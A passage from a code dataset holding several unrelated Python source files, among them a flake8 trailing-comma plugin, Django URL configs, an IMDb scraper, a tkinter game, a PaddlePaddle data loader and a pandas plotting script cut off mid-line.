Flake8Checker(object):\n name = __name__\n version = __version__\n\n def __init__(self, tree, filename):\n self._filename = filename\n\n def run(self):\n errors = _process_file(self._filename)\n for line, column, error_code in errors:\n yield (line, column, '%s %s' % (error_code.name, error_code.value), type(self))\n\n\n_driver = Driver(\n grammar=python_grammar_no_print_statement,\n convert=pytree.convert,\n)\n\n\ndef _process_file(filename):\n if filename == 'stdin':\n code = pycodestyle.stdin_get_value()\n else:\n with open(filename, 'rt') as f:\n code = f.read()\n return _process_code(code)\n\n\ndef _process_code(code):\n tree = _driver.parse_string(code)\n return _process_tree(tree)\n\n\ndef _process_tree(tree):\n iterables = []\n nice_type = pytree.type_repr(tree.type)\n if nice_type == 'parameters':\n iterables.append(_process_parameters(tree))\n elif nice_type == 'trailer':\n iterables.append(_process_trailer(tree))\n elif nice_type == 'atom':\n iterables.append(_process_atom(tree))\n\n iterables.extend(_process_tree(c) for c in tree.children)\n\n return itertools.chain.from_iterable(iterables)\n\n\ndef _process_parameters(parameters):\n if not _is_multi_line(parameters):\n return\n\n open_parenthesis, args_list, close_parenthesis = parameters.children\n\n elements = args_list.children\n if not elements:\n # TODO complain about multi-line argument list with nothing in it\n return\n\n first_element = elements[0]\n if open_parenthesis.lineno == first_element.get_lineno():\n yield _error(first_element, ErrorCode.S100)\n\n last_element = elements[-1]\n\n # We only accept lack of trailing comma in case of the parameter\n # list containing any use of * or ** as adding the trailing comma\n # is a syntax error.\n no_variadic_arguments = all(\n [\n element.type not in (token.STAR, token.DOUBLESTAR)\n for element in elements\n ]\n )\n\n if last_element.type != token.COMMA and no_variadic_arguments:\n yield _error(last_element, ErrorCode.S101)\n\n\ndef _is_multi_line(tree):\n return len(set(t.get_lineno() for t in tree.children)) > 1\n\n\ndef _process_trailer(trailer):\n # The definition of trailer node:\n # trailer: '(' [arglist] ')' | '[' subscriptlist ']' | '.' NAME\n children = trailer.children\n if len(children) == 3:\n middle = children[1]\n if pytree.type_repr(middle.type) == 'atom':\n return _process_atom(middle)\n else:\n return _process_parameters(trailer)\n else:\n return []\n\n\ndef _process_atom(atom):\n # The definition of atom node:\n # atom: ('(' [yield_expr|testlist_gexp] ')' |\n # '[' [listmaker] ']' |\n # '{' [dictsetmaker] '}' |\n # '`' testlist1 '`' |\n # NAME | NUMBER | STRING+ | '.' '.' '.')\n if len(atom.children) < 3 or not _is_multi_line(atom):\n return\n\n left = atom.children[0]\n if left.value not in {'{', '['}:\n return\n open_parenthesis, maker, close_parenthesis = atom.children\n if open_parenthesis.lineno == maker.get_lineno():\n yield _error(maker, ErrorCode.S100)\n\n if maker.children:\n last_maker_element = maker.children[-1]\n else:\n # If we're dealing with a one element list we'll land here\n last_maker_element = maker\n\n # Enforcing trailing commas in list/dict/set comprehensions seems too strict\n # so we won't do it for now even if it is syntactically allowed.\n has_comprehension_inside = 'comp_for' in {\n pytree.type_repr(node.type) for node in maker.children\n }\n if last_maker_element.type != token.COMMA and not has_comprehension_inside:\n yield _error(last_maker_element, ErrorCode.S101)\n\n\ndef _error(element, error_code):\n return (element.get_lineno(), _get_column(element), error_code)\n\n\ndef _get_column(node):\n while not isinstance(node, pytree.Leaf):\n if not node.children:\n return\n node = node.children[0]\n return node.column\n\n\nif __name__ == '__main__':\n exit_code = 0\n for filename in sys.argv[1:]:\n errors = list(_process_file(filename))\n if errors:\n exit_code = 1\n\n for line, column, error in errors:\n print(\n '%s:%s:%s %s %s' % (\n filename,\n line,\n column,\n error.name,\n error.value,\n ),\n )\n\n sys.exit(exit_code)\n","sub_path":"flake8_strict.py","file_name":"flake8_strict.py","file_ext":"py","file_size_in_byte":5439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"352743734","text":"import copy\r\nfrom lxml.etree import Element, SubElement, tostring, ElementTree\r\nimport cv2\r\nimport os\r\nimport numpy as np\r\ntemplate_file = 'temp.xml'\r\npath = \"label\" #文件夹目录\r\nphotopath = 'photo'\r\nfiles= os.listdir(path)\r\n\r\n\r\n\r\nfor train_file in files:\r\n context = ''\r\n for line in open(path+'/'+train_file):\r\n context = context + line\r\n filename = train_file.replace('txt', 'jpg')\r\n information = context.split()\r\n label = 'car'\r\n xmin = information[1]\r\n ymin = information[2]\r\n xmax = information[3]\r\n ymax = information[4]\r\n\r\n tree = ElementTree()\r\n tree.parse(template_file)\r\n root = tree.getroot()\r\n root.find('filename').text = filename\r\n\r\n sz = root.find('size')\r\n im = cv2.imread('photo/'+filename)\r\n #print(filename)\r\n sz.find('height').text = str(im.shape[0])\r\n sz.find('width').text = str(im.shape[1])\r\n sz.find('depth').text = str(im.shape[2])\r\n\r\n obj = root.find('object')\r\n\r\n obj.find('name').text = label\r\n bb = obj.find('bndbox')\r\n bb.find('xmin').text = xmin\r\n bb.find('ymin').text = ymin\r\n bb.find('xmax').text = xmax\r\n bb.find('ymax').text = ymax\r\n\r\n xml_file = filename.replace('jpg', 'xml')\r\n\r\n tree.write('result/'+xml_file, encoding='utf-8')\r\n","sub_path":"transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"412804340","text":"\"\"\"\n\n.. module:: urls\n :platform: Unix, Windows\n :synopsis: Urls for personal website project.\n\n.. moduleauthor:: Kenan Erdogan <kenanerdogan@gmail.com>\n\n:platform: Unix, Windows\n:synopsis: Urls for personal website project.\n\n\"\"\"\nfrom django.conf.urls import patterns, include, url\nfrom django.conf.urls.i18n import i18n_patterns\nfrom django.contrib import admin\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns, static\nfrom django.utils.translation import ugettext_lazy as _\nfrom fine_pw import settings\nfrom subscribe.views import unsubscribe\nfrom pages import views\n\nadmin.autodiscover()\n\nurlpatterns = patterns(\n url(r'^i18n/', include('django.conf.urls.i18n')),\n url(r'^$',\n views.PageView.as_view(),\n name='home_b'),\n)\n\nurlpatterns += i18n_patterns('',\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n url(r'^admin/', include(admin.site.urls)),\n (r'^ckeditor/', include('ckeditor.urls')),\n url(_(r'^blog/'), include('blog.urls')),\n url(_(r'^projects/'), include('projects.urls')),\n url(_(r'^subscribe/$'), include('subscribe.urls')),\n url(_(r'^unsubscribe_confirmation/(?P<hash_key>.+)/$'), unsubscribe, name='unsubscribe_b'),\n url(r'^', include('pages.urls')),\n)\n\nif 'rosetta' in settings.INSTALLED_APPS:\n urlpatterns += patterns('',\n url(r'^rosetta/', include('rosetta.urls')),\n )\n\nif settings.DEBUG:\n urlpatterns += staticfiles_urlpatterns()\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\nhandler404 = views.server_error_404\nhandler500 = views.server_error_500","sub_path":"fine_pw/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"597220080","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\n\nlink=\" https://www.imdb.com/india/top-rated-indian-movies/\"\na=requests.get(link)\n# print(a)\nsoup=BeautifulSoup(a.text,'html.parser')\n# print(type(soup))\n\ndef scrap_top_list():\n main_div=soup.find('div',class_='lister')\n tbody=main_div.find('tbody',class_='lister-list')\n trs=tbody.find_all(\"tr\")\n movie_ranks=[]\n movie_name=[]\n years=[]\n movie_url=[]\n ratings=[]\n top_indain_movies=[]\n\n for tr in trs:\n movies_details={}\n position=tr.find('td',class_=\"titleColumn\").get_text().strip()\n movie_rank=''\n for i in position:\n if '.' not in i:\n movie_rank=movie_rank+i\n else:\n break\n movie_ranks.append(movie_rank)\n name_of_movie=tr.find('td',class_=\"titleColumn\").a.get_text()\n movie_name.append(name_of_movie)\n year=tr.find('td',class_=\"titleColumn\").span.get_text()\n years.append(year)\n # print(year_of_realease)\n imdb_rating=tr.find('td',class_=\"ratingColumn imdbRating\").strong.get_text()\n ratings.append(imdb_rating)\n # print(movie_ratings)\n link=tr.find('td',class_=\"titleColumn\").a['href']\n movie_link=\"https://www.imbd.com\"+link\n movie_url.append(movie_link)\n movies_details[\"name of movie\"]=name_of_movie\n movies_details[\"year\"]=int(year[1:5])\n movies_details[\"position of movie\"]=int(movie_rank)\n movies_details[\"url\"]=movie_link\n movies_details[\"rating\"]=float(imdb_rating)\n\n\n\n top_indain_movies.append(movies_details)\n return top_indain_movies\n\n # print(top_movie)\n # with open(\"imdb_movies.json\",\"w\") as file1:\n # file2=json.dump(top_movie,file1,indent=4)\n\nmovies_data=scrap_top_list()\n# print(movies_data)\nwith open (\"task_1.json\",\"w+\") as file:\n json.dump(movies_data,file,indent=4)","sub_path":"task_1.py","file_name":"task_1.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"157515821","text":"#!/usr/bin/python3\n\nfrom tkinter import *\nfrom subprocess import Popen\nfrom tkinter.scrolledtext import *\nfrom random import randint, choice\n\nclass Ball():\n\n def __init__(self, **kw):\n self.x = kw.get('x', 50)\n self.y = kw.get('y', 50)\n self.size = kw.get('size', 10)\n self.color = kw.get('color', \"black\")\n self.papa = None\n papa = kw.get('canvas', None)\n if papa:\n papa.addBall(self)\n\n def update(self):\n if not self.papa: return\n w = self.papa.winfo_width()\n h = self.papa.winfo_height()\n while self.x < 0:\n self.x += w\n while self.x > w:\n self.x -= w\n while self.y < 0:\n self.y += h\n while self.y > h:\n self.y -= h\n self.papa.show()\n\n def up(self, speed=1):\n self.y-=speed\n self.update()\n\n def down(self, speed=1):\n self.y+=speed\n self.update()\n\n def left(self, speed=1):\n self.x-=speed\n self.update()\n\n def right(self, speed=1):\n self.x+=speed\n self.update()\n\nclass BoardClass(Canvas):\n\n def __init__(self, *arg, **kiwi):\n Canvas.__init__(self, *arg, **kiwi)\n self.balls = []\n self.kiwis = []\n self.kiwiInvasion(kiwi.get(\"kiwiTime\", 100))\n\n def kiwi_generator(self):\n return Ball(x=randint(0, WINX), y=randint(0, WINY), color=choice([\"red\", \"pink\", \"grey\", \"brown\", \"blue\"]), canvas = self)\n\n def kiwiInvasion(self, time):\n if len(self.kiwis) > 10:\n adios = choice(self.kiwis)\n self.kiwis.remove(adios)\n self.delball(adios)\n self.kiwis+=[self.kiwi_generator()]\n self.after(time, lambda: self.kiwiInvasion(time))\n\n def delball(self, ball):\n ball.papa=None\n self.balls.remove(ball)\n self.show()\n\n def addBall(self, ball):\n ball.papa = self\n self.balls+=[ball]\n self.show()\n\n def show(self):\n self.delete(ALL)\n for ball in self.balls:\n self.create_oval(ball.x, ball.y, ball.x + ball.size, ball.y + ball.size, fill=ball.color)\n\nWINX = 500\nWINY = 500\n\nBG = \"light grey\"\n\nwin = Tk()\n\nwin.resizable(width=False, height=False)\nwin.title(\"Circle\")\nwin.geometry(\"{}x{}\".format(WINX, WINY))\nwin.configure(background='black')\n\nTopFrame = Frame(win, height=20, bg=BG)\n\nball = Ball(color=\"pink\")\nBoard = BoardClass(win, width=WINX, height=WINY, background=\"white\")\n\nBoard.addBall(ball)\n\nQuitButton = Button(TopFrame, text=\"Quit\", command=lambda:win.quit())\nHelpButton = Button(TopFrame, text=\"Help ?\", command=lambda:Popen([\"./help.py\"]))\n\nTopFrame.pack(fill=X, side=TOP)\nQuitButton.pack(anchor=N, side=LEFT)\nHelpButton.pack(anchor=N, side=RIGHT)\nBoard.pack()\nwin.bind('<Up>', lambda event: ball.up())\nwin.bind('<Down>', lambda event: ball.down())\nwin.bind('<Left>', lambda event: ball.left())\nwin.bind('<Right>', lambda event: ball.right())\nwin.bind(\"<KeyPress-Escape>\", lambda event:win.quit())\nwin.mainloop()\n","sub_path":"circle.py","file_name":"circle.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"276121775","text":"#!/bin/python\nimport shutil\nimport json\nimport pwd\nimport os\n\nusername = pwd.getpwuid(os.getuid()).pw_name\n\nwith open(f'/home/{username}/dotfiles/files_to_copy.json') as filesfile:\n files = json.load(filesfile)\n\nfor file in files:\n file = file.format(username=username)\n namelist = file.split(\"/\")\n filename = namelist[-1]\n dest = f\"/home/{username}/dotfiles/{filename}\"\n if os.path.isdir(file):\n shutil.copytree(file, dest, dirs_exist_ok=True)\n else:\n shutil.copy2(file, dest)\n","sub_path":"copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"72815351","text":"#!/usr/bin/env python3\n'''\nСоздать функцию parse_sh_cdp_neighbors, которая обрабатывает вывод команды show cdp neighbors.\n\nФункция ожидает, как аргумент, вывод команды одной строкой (не имя файла).\n\nФункция должна возвращать словарь, который описывает соединения между устройствами.\n\nНапример, если как аргумент был передан такой вывод:\n\nR4>show cdp neighbors\n\nDevice ID Local Intrfce Holdtme Capability Platform Port ID\nR5 Fa 0/1 122 R S I 2811 Fa 0/1\nR6 Fa 0/2 143 R S I 2811 Fa 0/0\n\nФункция должна вернуть такой словарь:\n\n{'R4': {'Fa0/1': {'R5': 'Fa0/1'},\n 'Fa0/2': {'R6': 'Fa0/0'}}}\n\nПри этом интерфейсы могут быть записаны с пробелом Fa 0/0 или без Fa0/0.\n'''\n#\n# Import modules\n\nimport re\nimport glob\nfrom pprint import pprint\n\n#\n# Functions\n\ndef parse_sh_cdp_neighbors(output):\n\n local_dev_name=re.match('\\s*(\\S+)>show',output)\n list_of_neibors=re.findall('(\\w+\\d+)\\s+(\\w+\\s*\\d+/\\d+)\\s+.+\\s(\\w+\\s*\\d+/\\d+)',output)\n\n local_dev_name=local_dev_name.group(1)\n #print(local_dev_name)\n #pprint(list_of_neibors)\n\n dic_neibors={}\n\n for item in list_of_neibors:\n temp={item[0]:item[2]}\n temp={item[1]:temp}\n #print(temp)\n dic_neibors.update(temp)\n\n dic_neibors={local_dev_name:dic_neibors}\n\n #pprint(dic_neibors)\n del local_dev_name, list_of_neibors, temp # Уборка мусора\n return(dic_neibors)\n\n\n# Body\nif __name__ == \"__main__\":\n\n sh_cdp_neibors_files = glob.glob('sh_cdp_n*')\n #print(sh_cdp_neibors_files)\n\n dic_of_neibors={}\n\n for filename in sh_cdp_neibors_files:\n\n with open(filename, 'r', encoding='utf-8') as file_input:\n src_data=file_input.read()\n pprint(parse_sh_cdp_neighbors(src_data))\n","sub_path":"exercise_17.2/parse_sh_cdp_neighbors.py","file_name":"parse_sh_cdp_neighbors.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"425699745","text":"#!/usr/bin/env python2.6\r\n#-*- coding: utf-8 -*-\r\n\r\n# Filename: Ui_TransferInfo.py\r\n# Author: XueFeng, Xiangquan\r\n# Created: 2012/07/02/ 13:00\r\n# Latest Modified: 2013/01/08/ 13:00\r\n# Platform: Windows7\r\n# Copyright: Illumina ltd, PTD department, 2012\r\n\r\nimport os\r\n\r\nfrom PyQt4.QtGui import *\r\nfrom PyQt4.QtCore import *\r\n\r\nclass Ui_InputList(QFrame):\r\n def __init__(self, parent = None):\r\n \"\"\" Constructor\"\"\"\r\n super(Ui_InputList, self).__init__(parent)\r\n \r\n \r\n self.setupUi()\r\n \r\n def setupUi(self):\r\n self.vboxLayout = QVBoxLayout(self)\r\n self.vboxLayout.setAlignment(Qt.AlignLeft | Qt.AlignTop)\r\n self.vboxLayout.setContentsMargins(5, 1, 5, 1)\r\n \r\n #add & rm btns\r\n self.setupBtns('icon/addIcon.png', QSize(28, 28), 'icon/removeIcon.png', QSize(28, 28))\r\n \r\n # Convert Path list\r\n self.setupConvertList('icon/none.png')\r\n \r\n def setupBtns(self, addIcon, addIconSize, rmIcon, rmIconSize):\r\n \"\"\" \"\"\"\r\n self.hboxLayout = QHBoxLayout()\r\n self.hboxLayout.setAlignment(Qt.AlignRight | Qt.AlignTop)\r\n self.hboxLayout.setSpacing(20)\r\n self.vboxLayout.addLayout(self.hboxLayout) \r\n \r\n # Add Path Btn\r\n self.addBtn = QToolButton(self)\r\n self.addBtn.setStyleSheet(\"background-image:url(%s);background-repeat: repeat-n\" % addIcon)\r\n self.addBtn.setIconSize(addIconSize)\r\n self.addBtn.setFocusPolicy(0)\r\n self.hboxLayout.addWidget(self.addBtn)\r\n \r\n # Delete convert Path\r\n self.rmBtn = QToolButton(self)\r\n self.rmBtn.setStyleSheet(\"background-image:url(%s);background-repeat: repeat-n\" % rmIcon)\r\n self.rmBtn.setIconSize(rmIconSize)\r\n self.rmBtn.setFocusPolicy(0)\r\n self.hboxLayout.addWidget(self.rmBtn)\r\n \r\n def setupConvertList(self, iconPath):\r\n \"\"\" \"\"\"\r\n self.convertVBoxLayout = QVBoxLayout()\r\n self.convertVBoxLayout.setAlignment(Qt.AlignRight | Qt.AlignTop)\r\n self.vboxLayout.addLayout(self.convertVBoxLayout)\r\n \r\n #Add list widget\r\n self.convertList = QListWidget(self)\r\n self.convertList.setStyleSheet(\"background-image:url(%s)\" % iconPath)\r\n self.convertVBoxLayout.addWidget(self.convertList)\r\n \r\n \r\n","sub_path":"tronPipelineScript/IlluminaConverter_v002/Ui_InputList.py","file_name":"Ui_InputList.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"197738641","text":"# restaurantes/urls.py\n\nfrom django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^index/$', views.index, name='index'),\n url(r'^fotos/$', views.fotos, name='fotos'),\n url(r'^buscar/$', views.buscar, name='buscar'),\n url(r'^introducir/$', views.nuevo_restaurante, name='introducir'),\n url(r'^datos/$', views.datos, name='datos'),\n url(r'^editar/$', views.editar, name='editar'),\n url(r'^grafica/$', views.grafica, name='grafica'),\n url(r'^test_template/$', views.test_template, name='test_template'),\n url(r'^get_name/$', views.get_name, name='get_name'),\n]\n","sub_path":"sitio_web1/restaurantes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"159472914","text":"# 高并发编程模式: 事件循环 + 回调(驱动生成器) + io多路复用(epoll)\n# asyncio 时 python 用于解决异步 io 编程的一整套解决方案\n# tornado, gevent, twisted(scrapy, django channels)\nimport time\nimport asyncio\n\nasync def get_html(url):\n print('start get url')\n await asyncio.sleep(2)\n print('end get url')\n\ndef t1(a):\n print('t1 =', a)\ndef t2(a):\n print('t2 =', a)\ndef t3(a):\n print('t3 =', a)\n\nif __name__ == '__main__':\n s_t = time.time()\n loop = asyncio.get_event_loop()\n tasks = [get_html('a') for i in range(10)]\n loop.run_until_complete(asyncio.wait(tasks))\n\n print(time.time() - s_t)\n\n for i in range(3):\n a = 't' + str(i + 1)\n a = eval(a)\n a(1)\n\n ","sub_path":"STUDY/PYTHON/Python进阶/11_asyncio并发编程/基本/loop_test.py","file_name":"loop_test.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"614504791","text":"'''\r\n还要改划分数据集\r\n'''\r\nimport numpy as np\r\nimport paddle\r\nfrom paddle.io import Dataset\r\nimport paddle.vision.transforms as transforms\r\nfrom paddle.io import Subset # 用于拆分训练和验证集\r\n\r\nclass CustomDataset(Dataset):\r\n def __init__(self, data, labels, transform=None):\r\n self.data = data\r\n self.labels = labels\r\n self.transform = transform\r\n\r\n def __len__(self):\r\n return len(self.labels)\r\n\r\n def __getitem__(self, idx):\r\n sample = self.data[idx]\r\n label = self.labels[idx]\r\n if self.transform:\r\n sample = self.transform(sample)\r\n\r\n return sample, label\r\n\r\n\r\ndef extract_classes(dataset, classes):\r\n idx = paddle.zeros_like(dataset.targets, dtype=paddle.bool)\r\n for target in classes:\r\n idx = idx | (dataset.targets == target)\r\n\r\n data, targets = dataset.data[idx], dataset.targets[idx]\r\n return data, targets\r\n\r\n\r\ndef prep_dataset(conf):\r\n dataset,mean,std =conf['data']['name'],conf['data']['mean'],conf['data']['std']\r\n size=conf['data']['input_size']\r\n mnist_size=(size[1],size[2])\r\n transform_split_mnist = transforms.Compose([\r\n transforms.Resize(mnist_size),\r\n transforms.Normalize(mean=mean, std=std, data_format='CHW')\r\n ])\r\n\r\n transform_mnist = transforms.Compose([\r\n transforms.Resize(mnist_size),\r\n transforms.Normalize(mean=mean, std=std, data_format='CHW')\r\n\r\n ])\r\n\r\n transform_cifar = transforms.Compose([\r\n transforms.Resize((32, 32)),\r\n transforms.RandomHorizontalFlip(),\r\n transforms.Normalize(mean=mean, std=std)\r\n ])\r\n if (dataset == 'CIFAR10'):\r\n trainset = paddle.vision.datasets.Cifar10(download=True, transform=transform_cifar)\r\n testset = paddle.vision.datasets.Cifar10(download=True, transform=transform_cifar)\r\n num_classes = 10\r\n in_channels = 3\r\n\r\n elif (dataset == 'CIFAR100'):\r\n trainset = paddle.vision.datasets.Cifar100(data_file='./data', mode='train', download=True,\r\n transform=transform_cifar)\r\n testset = paddle.vision.datasets.Cifar100(data_file='./data', mode='test', download=True,\r\n transform=transform_cifar)\r\n num_classes = 100\r\n in_channels = 3\r\n\r\n elif (dataset == 'MNIST'):\r\n trainset = paddle.vision.datasets.MNIST(mode='train', download=True, transform=transform_mnist)\r\n testset = paddle.vision.datasets.MNIST(mode='test', download=True, transform=transform_mnist)\r\n num_classes = 10\r\n in_channels = 1\r\n\r\n elif (dataset == 'SplitMNIST-2.1'):\r\n trainset = paddle.vision.datasets.MNIST(mode='train', download=True, transform=transform_mnist)\r\n testset = paddle.vision.datasets.MNIST(mode='test', download=True, transform=transform_mnist)\r\n\r\n train_data, train_targets = extract_classes(trainset, [0, 1, 2, 3, 4])\r\n test_data, test_targets = extract_classes(testset, [0, 1, 2, 3, 4])\r\n\r\n trainset = CustomDataset(train_data, train_targets, transform=transform_split_mnist)\r\n testset = CustomDataset(test_data, test_targets, transform=transform_split_mnist)\r\n num_classes = 5\r\n in_channels = 1\r\n\r\n elif (dataset == 'SplitMNIST-2.2'):\r\n trainset = paddle.vision.datasets.MNIST(mode='train', download=True, transform=transform_mnist)\r\n testset = paddle.vision.datasets.MNIST(mode='test', download=True, transform=transform_mnist)\r\n\r\n train_data, train_targets = extract_classes(trainset, [5, 6, 7, 8, 9])\r\n test_data, test_targets = extract_classes(testset, [5, 6, 7, 8, 9])\r\n train_targets -= 5 # Mapping target 5-9 to 0-4\r\n test_targets -= 5 # Hence, add 5 after prediction\r\n\r\n trainset = CustomDataset(train_data, train_targets, transform=transform_split_mnist)\r\n testset = CustomDataset(test_data, test_targets, transform=transform_split_mnist)\r\n num_classes = 5\r\n in_channels = 1\r\n\r\n elif (dataset == 'SplitMNIST-5.1'):\r\n trainset = paddle.vision.datasets.MNIST(mode='train', download=True, transform=transform_mnist)\r\n testset = paddle.vision.datasets.MNIST(mode='test', download=True, transform=transform_mnist)\r\n\r\n train_data, train_targets = extract_classes(trainset, [0, 1])\r\n test_data, test_targets = extract_classes(testset, [0, 1])\r\n\r\n trainset = CustomDataset(train_data, train_targets, transform=transform_split_mnist)\r\n testset = CustomDataset(test_data, test_targets, transform=transform_split_mnist)\r\n num_classes = 2\r\n in_channels = 1\r\n\r\n elif (dataset == 'SplitMNIST-5.2'):\r\n trainset = paddle.vision.datasets.MNIST(mode='train', download=True, transform=transform_mnist)\r\n testset = paddle.vision.datasets.MNIST(mode='test', download=True, transform=transform_mnist)\r\n\r\n train_data, train_targets = extract_classes(trainset, [2, 3])\r\n test_data, test_targets = extract_classes(testset, [2, 3])\r\n train_targets -= 2 # Mapping target 2-3 to 0-1\r\n test_targets -= 2 # Hence, add 2 after prediction\r\n\r\n trainset = CustomDataset(train_data, train_targets, transform=transform_split_mnist)\r\n testset = CustomDataset(test_data, test_targets, transform=transform_split_mnist)\r\n num_classes = 2\r\n in_channels = 1\r\n\r\n elif (dataset == 'SplitMNIST-5.3'):\r\n trainset = paddle.vision.datasets.MNIST(mode='train', download=True, transform=transform_mnist)\r\n testset = paddle.vision.datasets.MNIST(mode='test', download=True, transform=transform_mnist)\r\n\r\n train_data, train_targets = extract_classes(trainset, [4, 5])\r\n test_data, test_targets = extract_classes(testset, [4, 5])\r\n train_targets -= 4 # Mapping target 4-5 to 0-1\r\n test_targets -= 4 # Hence, add 4 after prediction\r\n\r\n trainset = CustomDataset(train_data, train_targets, transform=transform_split_mnist)\r\n testset = CustomDataset(test_data, test_targets, transform=transform_split_mnist)\r\n num_classes = 2\r\n in_channels = 1\r\n\r\n elif (dataset == 'SplitMNIST-5.4'):\r\n trainset = paddle.vision.datasets.MNIST(mode='train', download=True, transform=transform_mnist)\r\n testset = paddle.vision.datasets.MNIST(mode='test', download=True, transform=transform_mnist)\r\n\r\n train_data, train_targets = extract_classes(trainset, [6, 7])\r\n test_data, test_targets = extract_classes(testset, [6, 7])\r\n train_targets -= 6 # Mapping target 6-7 to 0-1\r\n test_targets -= 6 # Hence, add 6 after prediction\r\n\r\n trainset = CustomDataset(train_data, train_targets, transform=transform_split_mnist)\r\n testset = CustomDataset(test_data, test_targets, transform=transform_split_mnist)\r\n num_classes = 2\r\n in_channels = 1\r\n\r\n elif (dataset == 'SplitMNIST-5.5'):\r\n trainset = paddle.vision.datasets.MNIST(mode='train', download=True, transform=transform_mnist)\r\n testset = paddle.vision.datasets.MNIST(label_path='./data', mode='test', download=True,\r\n transform=transform_mnist)\r\n\r\n train_data, train_targets = extract_classes(trainset, [8, 9])\r\n test_data, test_targets = extract_classes(testset, [8, 9])\r\n train_targets -= 8 # Mapping target 8-9 to 0-1\r\n test_targets -= 8 # Hence, add 8 after prediction\r\n\r\n trainset = CustomDataset(train_data, train_targets, transform=transform_split_mnist)\r\n testset = CustomDataset(test_data, test_targets, transform=transform_split_mnist)\r\n num_classes = 2\r\n in_channels = 1\r\n\r\n return trainset, testset, in_channels, num_classes\r\n\r\n\r\ndef prep_loader(conf,trainset, testset):\r\n num_workers=conf['data']['num_workers']\r\n valid_size=conf['data']['valid_size']\r\n batch_size=conf['hparas']['batch_size']\r\n # 划分训练和验证集\r\n num_train = len(trainset)\r\n indices = list(range(num_train))\r\n np.random.shuffle(indices)\r\n split = int(np.floor(valid_size * num_train)) if valid_size<1 and valid_size>0 else valid_size\r\n train_idx, valid_idx = indices[split:], indices[:split] # 前split个作val\r\n\r\n train_subset = Subset(dataset=trainset, indices=train_idx) # subset是dataset不是sampler\r\n valid_subset = Subset(dataset=trainset, indices=valid_idx)\r\n\r\n # 创建dataloader\r\n train_loader = paddle.io.DataLoader(train_subset, batch_size=batch_size, shuffle=True,\r\n num_workers=num_workers)\r\n valid_loader = paddle.io.DataLoader(valid_subset, batch_size=batch_size,\r\n num_workers=num_workers)\r\n test_loader = paddle.io.DataLoader(testset, batch_size=batch_size,\r\n num_workers=num_workers)\r\n\r\n return train_loader, valid_loader, test_loader\r\n","sub_path":"bayes_kl_paddle/data/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":8972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"490243136","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 27 11:09:11 2021\n\n@author: jmiller\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nfrom functools import reduce\nfrom matplotlib.colors import ListedColormap, LinearSegmentedColormap\n\nhospitals = {'0': [0.180960, -119.959400],\n '1': [0.153120, -119.915900],\n '2': [0.151090, -119.909520],\n '3': [0.121800, -119.904300],\n '4': [0.134560, -119.883420],\n '5': [0.182990, -119.855580],\n '6': [0.041470, -119.828610],\n '7': [0.065250, -119.744800]}\ndiff = 0.01\n\ndf = pd.read_csv('~/Google Drive/RIT/ISTE.782 - Visual Analytics/'\n + 'Final Project/MC1/mc1-reports-data.csv')\ndf2 = pd.read_csv('~/Google Drive/RIT/ISTE.782 - Visual Analytics/'\n + 'Final Project/MobileSensorReadings.csv')\n# =============================================================================\n# Plot 1\n# =============================================================================\ndf['time'] = pd.to_datetime(df['time'])\n\nfig1, ax1 = plt.subplots()\nplot_1 = df.plot(x = 'time',\n y = 'location',\n s = 'shake_intensity',\n kind = 'scatter',\n yticks = range(1, 20),\n title = 'Shake Intensity Per Location',\n ax = ax1,\n rot = 45,\n alpha = 0.2)\nax1.set_xlabel('Date')\nax1.set_ylabel('Location')\nax1.grid()\nplt.show()\n\n# =============================================================================\n# Plot 2\n# =============================================================================\ndf1 = df.copy()\ndf1['time'] = df1['time'].round('60min')\n\ndf.plot(x = 'time',\n y = 'location',\n s = 'shake_intensity',\n kind = 'scatter',\n yticks = range(1, 20))\nplt.show()\n\n# =============================================================================\n# Plot 3\n# =============================================================================\nadj_color = cm.get_cmap('tab20', 19)\n\nfig3, ax3 = plt.subplots()\nplot_3 = df1.plot(x = 'time',\n # y = 'medical',\n y = 'location',\n s = 'shake_intensity',\n # c = 'location',\n # c = 'medical',\n # cmap = adj_color,\n yticks=range(1, 20),\n kind = 'scatter',\n title = 'Shake Intensity for Medical Buildings at all Locations',\n ax = ax3,\n rot = 45,\n alpha = 0.2)\nax3.set_xlabel('Date')\n# ax3.set_ylabel('Medical')\nax3.set_ylabel('Location')\nax3.grid(axis = 'x')\nplt.tight_layout()\n# plt.savefig('/Users/jmiller/Desktop/Med_Shake_Intensity.png')\n\n# =============================================================================\n# Set up hospital areas\n# =============================================================================\n\nradiation = {}\nfor 